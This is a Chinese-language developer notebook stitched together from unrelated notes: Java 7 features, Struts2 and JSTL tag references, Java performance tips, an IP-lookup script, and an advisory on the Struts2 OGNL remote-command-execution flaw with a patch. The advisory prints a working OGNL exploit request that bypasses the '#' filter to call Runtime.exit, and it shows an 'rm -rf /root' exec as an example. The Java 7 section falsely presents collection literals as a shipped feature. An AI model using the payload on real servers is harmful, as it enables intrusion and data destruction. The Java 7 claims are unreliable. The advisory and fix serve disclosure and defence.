摘要: JSF學習筆記   JSF事件驅動型的MVC框架,與流行的struts比較學習，易于理解。jsf component event事件是指從瀏覽器由用戶操作觸發的事件，Struts application event 是用Action來接受瀏覽器表單提交的事件，一個表單只能對應一個事件，application event和component event相比是一種粗粒度的事件。優點：事件...  閱讀全文
from:http://www.srikanthtechnologies.com/blog/java/jquerywithjsf.aspx

Java 7已經完成的7大新功能：
      1 對集合類的語言支持；
      2 自動資源管理；
      3 改進的通用實例創建類型推斷；
      4 數字字面量下劃線支持；
      5 switch中使用string；
      6 二進制字面量；
      7 簡化可變參數方法調用。

      下面我們來仔細看一下這7大新功能：
      1 對集合類的語言支持
      Java將包含對創建集合類的第一類語言支持。這意味著集合類的創建可以像Ruby和Perl那樣了。
      原本需要這樣：
         List<String> list = new ArrayList<String>();
         list.add("item");
         String item = list.get(0);
  
         Set<String> set = new HashSet<String>();
         set.add("item");
         Map<String, Integer> map = new HashMap<String, Integer>();
         map.put("key", 1);
         int value = map.get("key");

      現在你可以這樣：
         List<String> list = ["item"];
         String item = list[0];
        
         Set<String> set = {"item"};
        
         Map<String, Integer> map = {"key" : 1};
         int value = map["key"];

      這些集合是不可變的。

  
      2 自動資源管理
      Java中某些資源是需要手動關閉的，如InputStream，Writes，Sockets，Sql classes等。這個新的語言特性允許try語句本身申請更多的資源，
   這些資源作用于try代碼塊，并自動關閉。
      這個：
         BufferedReader br = new BufferedReader(new FileReader(path));
         try {
         return br.readLine();
               } finally {
                   br.close();
         }

      變成了這個：
          try (BufferedReader br = new BufferedReader(new FileReader(path)) {
             return br.readLine();
          }
   
      你可以定義關閉多個資源：
         try (
             InputStream in = new FileInputStream(src);
             OutputStream out = new FileOutputStream(dest))
         {
         // code
         }
      為了支持這個行為，所有可關閉的類將被修改為可以實現一個Closable（可關閉的）接口。
  

      3 增強的對通用實例創建（diamond）的類型推斷
      類型推斷是一個特殊的煩惱，下面的代碼：
         Map<String, List<String>> anagrams = new HashMap<String, List<String>>();

      通過類型推斷后變成：
         Map<String, List<String>> anagrams = new HashMap<>();
      這個<>被叫做diamond（鉆石）運算符，這個運算符從引用的聲明中推斷類型。

  
      4 數字字面量下劃線支持
      很長的數字可讀性不好，在Java 7中可以使用下劃線分隔長int以及long了，如：
         int one_million = 1_000_000;
   運算時先去除下劃線，如：1_1 * 10 = 110，120 – 1_0 = 110
  

      5 switch中使用string
      以前你在switch中只能使用number或enum。現在你可以使用string了：
         String s = ...
         switch(s) {
         case "quux":
              processQuux(s);
     // fall-through
         case "foo":
   case "bar":
              processFooOrBar(s);
     break;
         case "baz":
        processBaz(s);
              // fall-through
   default:
              processDefault(s);
            break;
  }

  
      6 二進制字面量
      由于繼承C語言，Java代碼在傳統上迫使程序員只能使用十進制，八進制或十六進制來表示數(numbers)。
      由于很少的域是以bit導向的，這種限制可能導致錯誤。你現在可以使用0b前綴創建二進制字面量：
         int binary = 0b1001_1001;
   現在，你可以使用二進制字面量這種表示方式，并且使用非常簡短的代碼，可將二進制字符轉換為數據類型，如在byte或short。
   byte aByte = (byte)0b001;   
   short aShort = (short)0b010;   

  
      7 簡化的可變參數調用
      當程序員試圖使用一個不可具體化的可變參數并調用一個*varargs* （可變）方法時，編輯器會生成一個“非安全操作”的警告。
   JDK 7將警告從call轉移到了方法聲明(methord declaration)的過程中。這樣API設計者就可以使用vararg，因為警告的數量大大減少了。

 
A：
<s:a href=""></s:a>-----超鏈接，類似于html里的<a></a>
<s:action name=""></s:action>-----執行一個view里面的一個action
<s:actionerror/>-----如果action的errors有值那么顯示出來
<s:actionmessage/>-----如果action的message有值那么顯示出來
<s:append var="newMerList">-----添加一個值到list，類似于list.add();
 <s:param value="merList1"></s:param>   
 <s:param value="merList2"></s:param>   
</s:append>

<s:autocompleter></s:autocompleter>-----自動完成<s:combobox>標簽的內容，這個是ajax

B：
<s:bean name=""></s:bean>-----類似于struts1.x中的，JavaBean的值

C：
<s:checkbox></s:checkbox>-----復選框
<s:checkboxlist list=""></s:checkboxlist>-----多選框
<s:combobox list=""></s:combobox>-----下拉框
<s:component></s:component>-----圖像符號

D：
<s:date name="time" format="yyyy/MM/dd"/>-----獲取日期格式
<s:datetimepicker></s:datetimepicker>-----日期輸入框
<s:debug></s:debug>-----顯示錯誤信息
<s:div></s:div>-----表示一個塊，類似于html的<div></div>
<s:doubleselect list="#appVar3" listKey="id" listValue="name" name="" doubleName="chinagra.chinagraCategory.id" -----雙下拉框
doubleId="mid" doubleList="#appVar4.get(top.id)" doubleListKey="id" doubleListValue="title" theme="simple"/>
List<Category> categories = chinagraService.searchProblemCategories();;
Map<Long, List<ChinagraCategory>> chinagraCategories = new HashMap<Long, List<ChinagraCategory>>();
for(Category category : categories) {
 chinagraCategories.put(category.getId(), chinagraCategoryService.queryByType(category.getId().toString()));
}

E：
<s:if test=""></s:if>
<s:elseif test=""></s:elseif>
<s:else></s:else>-----這3個標簽一起使用，表示條件判斷

F：
<s:fielderror></s:fielderror>-----顯示文件錯誤信息
<s:file></s:file>-----文件上傳
<s:form action=""></s:form>-----獲取相應form的值

G：
<s:generator separator="'aaa,bbb,ccc,ddd'" val=",">
 <s:iterator>   
  <s:property/>   
    </s:iterator>
</s:generator>----和<s:iterator>標簽一起使用

H：
<s:head/>-----在<head></head>里使用，表示頭文件結束
<s:hidden name="user.name" value="junly"/></s:hidden>-----隱藏值

I：
<s:i18n name=""></s:i18n>-----加載資源包到值堆棧
<s:include value=""></s:include>-----包含一個輸出，servlet或jsp頁面
<s:inputtransferselect list=""></s:inputtransferselect>-----獲取form的一個輸入
<s:iterator value="userlist" var="user" status="s">
 <s:if test="#s.index == 0">
  <s:property value="name"/>
 </s:if>
 <s:property value="#s.even"/>
    <s:property value="#s.odd"/>  
 <s:property value="#s.first"/> 
 <s:property value="#s.last"/> 
 <s:property value="#s.count"/> 
</s:iterator>-----用于遍歷集合
<s:if test="#list.size > 0 "></s:if>-----判斷 ActionContext.getContext().put("list", lists);
<s:elseif test="list.size > 0 "></s:elseif>
<s:else></s:else>
<s:if test="searchCondition.filter!=null">

L：
<s:label></s:label>-----只讀的標簽

M：
<s:merge></s:merge>-----合并遍歷集合出來的值

O：
<s:optgroup></s:optgroup>-----獲取標簽組
<s:optiontransferselect doubleList="" list="" doubleName=""></s:optiontransferselect>-----左右選擇框

P：
<s:param name="pageSize" value="pageSize"/></s:param>-----為其他標簽提供參數
<s:password></s:password>-----密碼輸入框
<s:property value="user.name" />-----得到'value'的屬性
<s:push value=""></s:push>-----value的值push到棧中,從而使property標簽的能夠獲取value的屬性

R：

<s:radio name="type" list="#{0:'拍賣會',1:'展會'}" value="0"></s:radio>-----單選按鈕
<s:reset></s:reset>-----重置按鈕

S：
<s:select list=""></s:select>-----單選框
<s:set name=""></s:set>-----賦予變量一個特定范圍內的值
<s:sort comparator=""></s:sort>-----通過屬性給list分類
<s:submit></s:submit>-----提交按鈕
<s:subset source="#subList" start="1" count="2">-----為遍歷集合輸出子集 
 <s:iterator>   
  <s:property/> 
 </s:iterator>   
</s:subset>

T：
<s:tabbedPanel id=""></s:tabbedPanel>-----表格框
<s:table></s:table>-----表格
<s:text name="error"/></s:text>-----I18n文本信息
<s:textarea></s:textarea>-----文本域輸入框
<s:textfield></s:textfield>-----文本輸入框
<s:token></s:token>-----攔截器
<s:tree></s:tree>-----樹
<s:treenode label=""></s:treenode>-----樹的結構

U：
<s:updownselect list=""></s:updownselect>-----多選擇框
<s:url value="/academy/get-detail.action?academyInfo.id=${id}"></s:url>-----創建url
<s:url action="search-big.action" escapeAmp="false" namespace="/problem">            
<s:param name="name" value="%{'all'}"/>
<s:param name="id" value="0"/>      
<s:param name="sex" value="user.sex"/>                                    
</s:url>

 

 

JSTL語法及參數   
JSTL包含以下的標簽:   
常用的標簽：如<c:out>、<c:remove>、<c:catch>、<c:set>等   
條件標簽：如<c:if><c:when>、<c:choose>、<c:otherwise>等   
URL標簽：如<c:import>、<c:redirect>和<c:url>等   
XML標簽：如<xml:out>等   
國際化輸出標簽：如<fmt:timeZone>等   
SQL標簽：如<sql:query>、<sql:update>、<sql:transaction>等   
 
一般用途的標簽:   
1．<c:out>   
沒有Body時的語法   
<c:out value=”value” [escapeXml=”{true|false}”] [default=”defaultValue”]/>   
有Body時的語法   
<c:out value=”value” [escapeXml=”{true|false}”]>   
這里是Body部分   
</c:out>   
 
名字 類型 描述   
value Object 將要輸出的表達式   
escapeXml boolean 確定以下字符:<,>,&,’,”在字符串中是否被除數，默認為true   
default Object 如果vaule計算后的結果是null，那么輸出這個默認值   

2．<c:set>   
這個標簽用于在某個范圍(page、request、session、application等)中使用某個名字設定特定的值，或者設定某個已經存在的javabean對象的屬性。他類似于<%request.setAttrbute(“name”,”value”);%>   
語法1：使用value屬性設定一個特定范圍中的屬性。   
<c:set value=”value” var=”varName” [scope=”{page|request|session|application}”]/>   
語法2：使用value屬性設定一個特定范圍中的屬性，并帶有一個Body。   
<c:set var=”varName” [scope=”{page|request|session|application}”]>   
Body部分   
</c:set>   
語法3：設置某個特定對象的一個屬性。   
<c:set value=”value” target=”target” property=”propertyName”/>   
語法4：設置某個特定對象的一個屬性，并帶有一個Body。   
<c:set target=”target” property=”propertyName”>   
Body部分   
</c:set>   
 
名字 類型 描述   
value Object 將要計算的表到式。   
var String 用于表示value 值的屬性，如果要在其他標簽中使用，就是通過這 個var指定的值來進行的。它相當于在標簽定義了一個變量，并且這個變量只能在標簽中的一個。   
scope String var的有效范圍，可以是page|request|session|application中的一個   
target String 將要設置屬性的對象，它必須是javabean或則java.util.Map對象   
property Object 待設定的Target對象中的屬性名字，比如在javabean中有個name屬性，提供了setUserId方法，那么這里填userId。    
 
3．<c:remove>   
<c:remove var=”varName” [scope=”{page|request|session|application}”]/>    
 
4．<c:catch>   
這個標簽相當于捕獲在它里邊的標簽拋出的異常對象   
<c:catch [var=”varName”]> //var是異常的名字   
內容   
</c:catch>    
 
條件標簽   
1． <c:if>   
語法1：無Body情況   
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]/>   
語法2：有Body的情況   
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]>   
Body內容   
</c:if>   
 
名字 類型 描述   
test Boolean 表達式的條件，相當于if()中的條件判斷語句。   
var String 表示這個語句的名字。   
scope String var這個變量的作用范圍。    
 
2．<c:choose>   
語法：<c:choose>   
Body內容(<c:when>和<c:otherwise>子標簽)   
</c:choose>   
注意：它的Body只能由以下元素組成:   
1) 空格   
2) 0或多個<c:when>子標簽，<c:when>必須在<c:otherwise>標簽之前出現.   
3) 0個或多個<c:otherwise>子標簽。   
<c:choose>
   <c:when test="${param.age>70}">
   歡迎老年人
   </c:when>
   <c:when test="${param.age<70 and param.age>35}">
   歡迎中年人
   </c:when>
   <c:otherwise>
   您的年齡有誤!
   </c:otherwise>
</c:choose>
 
3．<c:when>   
代表的是<c:choose>的一個條件分支,只能在<c:choose>中使用   
語法：<c:when test=”testCondition”> //test是boolean類型,用于判斷條件真假   
Body語句   
</c:when>    
 
4．<c:otherwise>   
代表的是<c:choose>中的最后選擇。必須在最后出現   
<c:otherwise>   
內容   
</c:otherwise>    
 
迭代標簽   
1．<c:forEach>   
語法1：在Collection中迭代   
<c:forEach[var=”varName”] items=”collection” [varStatus=”varStatusName”]   
[begin=”begin”] [end=”end”] [step=”step”]   
Body內容   
</c:foeEach>   
 
語法2：迭代固定的次數.   
<c:forEach [var=”varName”] [varStatus=”varStatusName”]   
[begin=”begin”] [end=”end”] [step=”step”]   
Body內容   
</c:foeEach>   
 
名字 類型 描述   
var String 迭代的參數，它是標簽參數，在其他標簽中通過它來引用這個標簽中的內容。   
Items Collection、ArrayList、 要迭代的items集合.   
Iterator、Map、String、   
Eunmeration等   
VarStatus String 表示迭代的狀態，可以訪問迭代自身的信息   
Begin int 表示開始迭代的位置。   
End int 表示結束迭代的位置。   
Step int 表示迭代移動的步長，默認為1。    
 
URL相關的標簽   
1．<c:import>   
語法1：資源的內容使用String對象向外暴露   
<c:import url=”url” [context=”context”]   
[var=”varName”] [scope=”{page|request|session|application}”] [charEncoding=”charEncoding”]>   
內容   
</c:import>   
 
語法2：資源的內容使用Reader對象向外暴露。   
<c:import url=”url” [context=”context”]   
varReader=”varReaderName” [charEncoding=”charEncoding”]>   
內容   
</c:import>   
名字 類型 描述   
url String 待導入資源的URL，可以是相對路徑和絕對路徑，并且可以導入其他主機資源   
context String 當使用相對路徑訪問外部context資源時，context指定了這個資源的名字。   
var String 參數的名字。   
scope String var參數的作用范圍。   
cahrEncoding String 輸入資源的字符編碼。   
varReader String 這個參數的類型是Reader,用于讀取資源。    
 
2．<c:redirct>   
語法1:沒有Body的情況.   
<c:redirect url=”value” [context=”context”]/>   
語法2：有Body情況下，在Body中指定查詢的參數   
<c:redirect url=”value” [context=”context”]>   
<c:param name=”name” value=”value”/>   
</c:redirect>    
 
3．<c:url>   
語法1：沒有Body   
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]/>   
語法2：有Body   
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]>   
<c:param name=”name” value=”value”/>   
</c:url>   
 
名字 類型 描述   
value String URL值   
context String 當使用相對路徑訪問外部context資源時，context指定了這個資源的名字   
var String 標識這個URL標量。   
Scope String 變量作用范圍。    
 
SQL相關的標簽   
1．<sql:setDataSource>   
2．<sql:query>   
3．<sql:update>   
4．<transaction>   
5．<param>

 

1 對Collection、Map接口的類對象初始化時要先分配合理的空間大小，同時還要按照自已的實際需求選擇合適的對象。

例如：聲明Vector vect＝new Vector()時，系統調用：

public Vector() {

// 缺省構造函數

this(10);

// 容量是

10;}　

缺省分配10個對象大小容量。

2 優化循環體

循環是比較重復運行的地方，如果循環次數很大，循環體內不好的代碼對效率的影響就會被放大而變的突出。

3 少用new初始化一個實例

盡量少用new來初始化一個類的實例，當一個對象是用new進行初始化時，其構造函數鏈的所有構造函數都被調用到，所以new操作符是很消耗系統資源的，new一個對象耗時往往是局部變量賦值耗時的上千倍。同時，當生成對象后，系統還要花時間進行垃圾回收和處理。當new創建對象不可避免時，注意避免多次的使用new初始化一個對象。盡量在使用時再創建該對象，另外，應該盡量重復使用一個對象，而不是聲明新的同類對象。一個重用對象的方法是改變對象的值，如可以通過setValue之類的方法改變對象的變量達到重用的目的。

4 選擇合適的方法調用：

在Java中，一切都是對象，如果有方法（Method）調用，處理器先要檢查該方法是屬于哪個對象，該對象是否有效，對象屬于什么類型，然后選擇合適的方法并調用。可以減少方法的調用，不影響可讀性等情況下，可以把幾個小的方法合成一個大的方法。另外，在方法前加上final，private關鍵字有利于編譯器的優化。

5異常處理技巧

異常是Java的一種錯誤處理機制，對程序來說是非常有用的，但是異常對性能不利。拋出異常首先要創建一個新的對象，并進行相關的處理，造成系統的開銷，所以異常應該用在錯誤處理的情況，不應該用來控制程序流程，流程盡量用while，if等處理。在不是很影響代碼健壯性的前提下，可以把幾個try/catch塊合成一個。

6 盡量使用局部變量

盡量使用局部變量，調用方法時傳遞的參數以及在調用中創建的臨時變量都保存在棧（Stack） 中，速度較快。其他變量，如靜態變量、實例變量等，都在堆（Heap）中創建，速度較慢。　　

7同步處理技巧

同步主要出現在多線程的情況，為多線程同時運行時提供對象數據安全的機制，多線程是比較復雜話題，應用多線程也是為了獲得性能的提升，應該盡可能減少同步。

另外，如果需要同步的地方，可以減少同步的代碼段，如只同步某個方法或函數，而不是整個代碼。

8 盡可能的使用Java自身提供的API

Java的API一般都做了性能的考慮，如果完成相同的功能，優先使用API而不是自己寫的代碼，如數組復制。

9 盡量減少I/O操作

輸入/輸出（I/O）包括很多方面，我們知道，進行I/O操作是很消耗系統資源的。程序中應該盡量少用I/O操作。使用時可以注意： . 合理控制輸出函數System.out.println()對于大多時候是有用的，特別是系統調試的時候，但也會產生大量的信息出現在控制臺和日志上，同時輸出時，有序列化和同步的過程，造成了開銷。

特別是在發行版中，要合理的控制輸出，可以在項目開發時，設計好一個Debug的工具類，在該類中可以實現輸出開關，輸出的級別，根據不同的情況進行不同的輸出的控制。

10 盡量使用緩存

讀寫內存要比讀寫硬盤上的文件要快很多，應盡可能使用緩沖，以便直接從內存中讀取數據。盡可能使用帶有Buffer的類代替沒有Buffer的類，如可以用BufferedReader 代替Reader，用BufferedWriter代替Writer來進行處理I/O操作。

同樣可以用BufferedInputStream代替InputStream都可以獲得性能的提高

11 盡量不使用同步：

Servlet是多線程的，以處理不同的請求，基于前面同步的分析，如果有太多的同步就失去了多線程的優勢了。

12 不用保存太多的信息在HttpSession中

很多時候，存儲一些對象在HttpSession中是有必要的，可以加快系統的開發，如網上商店系統會把購物車信息保存在該用戶的Session中，但當存儲大量的信息或是大的對象在會話中時，是有害的，特別是當系統中用戶的訪問量很大，對內存的需求就會很高。具體開發時，在這兩者之間應作好權衡。

13清除SESSION：

通常情況，當達到設定的超時時間時，同時有些Session沒有了活動，服務器會釋放這些沒有活動的Session，.. 不過這種情況下，特別是多用戶并訪時，系統內存要維護多個的無效Session。當用戶退出時，應該手動釋放，回收資源，實現如下：..
HttpSession theSession = request.getSession();
// 獲取當前Session
if(theSession != null){
　theSession.invalidate(); // 使該Session失效
}

14 緩存Home接口

EJB庫使用Enterprise Bean 的客戶端通過它的Home接口創建它的實例。客戶端能通過JNDI訪問它。服務器通過Lookup方法來獲取。
JNDI是個遠程對象，通過RMI方式調用，對它的訪問往往是比較費時的。所以，在設計時可以設計一個類專門用來緩存Home接口，在系統初始化時就獲得需要的Home接口并緩存，以后的引用只要引用緩存即可。

15 使用快速度的Jdbc驅動

JDBC API包括兩種實現接口形式，一種是純Java實現的驅動，一種利用ODBC驅動和數據庫客戶端實現，具體有四種驅動模式：

第一類：JDBC-ODBC橋，再加上ODBC驅動程序。
JDBC驅動程序是JDBC-ODBC橋再加上一個ODBC驅動程序。建議第一類驅動程序只用于原型開發，而不要用于正式的運行環境。橋接驅動程序由Sun提供，它的目標是支持傳統的數據庫系統。Sun為該軟件提供關鍵問題的補丁，但不為該軟件的最終用戶提供支持。一般地，橋接驅動程序用于已經在ODBC技術上投資的情形，例如已經投資了Windows應用服務器。
盡管Sun提供了JDBC-ODBC橋接驅動程序，但由于ODBC會在客戶端裝載二進制代碼和數據庫客戶端代碼，這種技術不適用于高事務性的環境。另外，第一類JDBC驅動程序不支持完整的Java命令集，而是局限于ODBC驅動程序的功能，這種驅動方式也叫胖客戶，主要用于低并發請求，大數據量傳輸的應用。

第二類：本機API，部分是Java的驅動程序。
JDBC驅動程序是本機API的部分Java代碼的驅動程序，用于把JDBC調用轉換成主流數據庫API的本機調用。這類驅動程序也存在與第一類驅動程序一樣的性能問題，即客戶端載入二進制代碼的問題，而且它們被綁定了特定的平臺。
第二類驅動程序要求編寫面向特定平臺的代碼，主流的數據庫廠商，例如Oracle和IBM，都為它們的企業數據庫平臺提供了第二類驅動程序，使用這些驅動程序的開發者必須及時跟進不同數據庫廠商針對不同操作系統發行的各個驅動程序版本。
另外，由于第二類驅動程序沒有使用純Java的API，把Java應用連接到數據源時，往往必須執行一些額外的配置工作。很多時候，第二類驅動程序不能在體系結構上與大型主機的數據源兼容；即使做到了兼容，效果也是比較差。

第三類：面向數據庫中間件的純Java驅動程序。
JDBC驅動程序是面向數據庫中間件的純Java驅動程序，JDBC調用被轉換成一種中間件廠商的協議，中間件再把這些調用轉換到數據庫API。第三類JDBC驅動程序的優點是它以服務器為基礎，也就是不再需要客戶端的本機代碼，這使第三類驅動程序要比第一、二兩類快。另外，開發者還可以利用單一的驅動程序連接到多種數據庫。

第四類：直接面向數據庫的純Java驅動程序。
JDBC驅動程序是直接面向數據庫的純Java驅動程序，即所謂的“瘦”（thin）驅動程序，它把JDBC調用轉換成某種直接可被DBMS使用的網絡協議，這樣，客戶機和應用服務器可以直接調用DBMS服務器。對于第四類驅動程序，不同DBMS的驅動程序不同。因此，在一個異構計算環境中，驅動程序的數量可能會比較多。但是，由于第四類驅動程序具有較高的性能，能夠直接訪問DBMS，所以這一問題就不那么突出了， 這種驅動方式，主要用于高并發，低數據量請求的應用中。

16 使用Jdbc鏈接池

為了提高訪問數據庫的性能，我們還可以使用JDBC 2.0的一些規范和特性，JDBC是占用資源的，在使用數據庫連接時可以使用連接池Connection Pooling，避免頻繁打開、關閉Connection。而我們知道，獲取Connection是比較消耗系統資源的。
Connection緩沖池：當一個應用程序關閉一個數據庫連接時，這個連接并不真正釋放而是被循環利用，建立連接是消耗較大的操作，循環利用連接可以顯著的提高性能，因為可以減少新連接的建立。

一個通過DataSource獲取緩沖池獲得連接，并連接到一個CustomerDB數據源的代碼演示如下：
Context ctx = new InitialContext();
DataSource dataSource = (DataSource) ctx.lookup("jdbc/CustomerDB");
Connection conn = dataSource.getConnection("password","username");

17 緩存DataSorce

一個DataSource對象代表一個實際的數據源。這個數據源可以是從關系數據庫到表格形式的文件，完全依賴于它是怎樣實現的，一個數據源對象注冊到JNDI名字服務后，應用程序就可以從JNDI服務器上取得該對象，并使用之和數據源建立連接。
　　通過上面的例子，我們知道DataSource是從連接池獲得連接的一種方式，通過JNDI方式獲得，是占用資源的。
　　為了避免再次的JNDI調用，可以系統中緩存要使用的DataSource。

18 即時關閉使用過的資源

互聯網應用系統一般是并發的系統，在每次申請和使用完資源后，應該釋放供別人使用，使用完成后應該保證徹底的釋放。

19 架構選型

CoreMediaCMS將整個應用分成四成架構，每一層都可以獨立于其他層而正常運行，每一層都可以分布式布署，極大的提高了應用系統的穩定性、可擴展性、支持高并發的要求，每一次之前通過中間件Corba進行穩定的傳輸數據。

20 開發框架的選型

充分利用開源框架，可以大大提高開發效率。很多初級開發者，都采用DB+JavaBean+JSP這種初級的開發模式，而現在主要使用Struts、Spring等MVC開發框架。

常用開發框架構選型有：

Struts、Spring、Webwork等。

天極傳媒選擇的開發框架是：Struts+Spring+iBatis，在這個開發框架里，充分利用了Struts、Spring各自己的優點，可以選擇Stuts　MVC，也可以選擇Spring MVC。

21 分級存儲

１）數據庫數據分級存儲：

將經常訪問的數據和訪問頻度低的數據，分別存放到不同的分區，甚至存放到不同的數據庫服務器，以便合進分配硬盤I/O及系統I/O。

２）網站內容發布之后，分級存儲：

任何一個大型的網站，一般都有海量的內容，為了提高訪問效率，應搭建分級存儲體系，根據應用的重要性和訪問并發要求，將這些內容分級存儲，同時將靜態內容中的靜態頁面文件、圖片文件、下載文件分不同的Web服務器訪問，降低I/O爭用，提高訪問效率，同時讓數據存儲、管理、備份更加清晰。

22 頁面靜態化

一個大型網站，既有靜態內容，也有動態內容。靜態內容，直接通過Apache或者Squid訪問，效率高，穩定可靠，更多的是受服務器等硬件設備的I/O吞吐量、網絡環境及頁面代碼本身質量限制，不受應用系統及數據庫性能限制，這些內容往往訪問速度和效率不會有較大的問題。

而動態內容，除了受硬件設備I/O、操作系統I/O及內容、網絡環境及頁面代碼的影響，還要受應用服務器和數據庫性能影響，因此，這部份內容，要盡可能作靜態化或者偽靜態，并采用緩存技術，將其緩存，以減少對應用服務器和數據庫服務器的操作次數，提高用戶訪問效率和穩定性。

23 緩存策略

對于構建的業務系統，如果有些數據要經常要從數據庫中讀取，同時，這些數據又不經常變化，這些數據就可以在系統中緩存起來，使用時直接讀取緩存，而不用頻繁的訪問數據庫讀取數據。
緩存工作可以在系統初始化時一次性讀取數據，特別是一些只讀的數據，當數據更新時更新數據庫內容，同時更新緩存的數據值。

例如：在CMS2005系統中，我們將很少發生變化的網站節點樹數據，緩存在客戶端，當用戶登錄時，一次性讀入到客戶端緩存起來，以后編輯在使用時，不用再從數據庫中讀取，大大提高了應用系統的訪問速度。

當然，也可以將數據庫中重復訪問的數據緩存在應用服務器內存中，減少對數據庫的訪問次數，Java常用的緩存技術產品有：MemoryCache、OSCache等。

<html>   
    <head>
   <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />        
        <script type=text/javascript src=http://fw.qq.com/ipaddress></script>
   <script type=text/javascript>
    document.write("當前ip:"+IPData[0]+",省份："+IPData[2]+",城市:"+IPData[3]);
   </script>
    </head>   
    <body>
    </body>
</html>

最近發現　struts 2的這個嚴重安全漏洞，在http://www.javaeye.com/topic/720209中已經有所表述，主要是ＯＧＮＬ的問題，摘錄如下：
exploit-db網站在7月14日爆出了一個Struts2的遠程執行任意代碼的漏洞。
漏洞名稱：Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相關介紹：
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架，處理 action時通過調用底層的getter/setter方法來處理http的參數，它將每個http參數聲明為一個ONGL（這里是ONGL的介紹）語句。當我們提交一個http參數：
Java代碼
?user.address.city=Bishkek&user['favoriteDrink']=kumys 

?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL將它轉換為：
Java代碼
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys") 

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這是通過ParametersInterceptor（參數過濾器）來執行的，使用用戶提供的HTTP參數調用 ValueStack.setValue()。
為了防范篡改服務器端對象，XWork的ParametersInterceptor不允許參數名中出現“#”字符，但如果使用了Java的 unicode字符串表示\u0023，攻擊者就可以繞過保護，修改保護Java方式執行的值：
此處代碼有破壞性，請在測試環境執行，嚴禁用此種方法進行惡意攻擊
Java代碼
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
轉義后是這樣：
Java代碼
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL處理時最終的結果就是Java代碼
java.lang.Runtime.getRuntime().exit(1); 

java.lang.Runtime.getRuntime().exit(1);
類似的可以執行Java代碼
java.lang.Runtime.getRuntime().exec("rm –rf /root") 

java.lang.Runtime.getRuntime().exec("rm –rf /root")，只要有權限就可以刪除任何一個目錄。


目前的解決方法如下，官方的出了補丁的，可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前２．１．８的最新版本的，可以下載其中這個補丁修補，
而如果你的版本是低于２．１．８的，可以去下載xwork-2.XX.JAR對應的源代碼（本來想反編譯ＪＡＲ的，發現還是找源代碼好），
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中調整如下：
protected boolean acceptableName(String name) {
       boolean foundMatch=false;  
        foundMatch = name.contains("\\u0023");  
        if(foundMatch){  
            return false;  
        }
        if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
                || name.indexOf(':') != -1 || isExcluded(name)) {
            return false;
        } else {
            return true;
        }
       
    }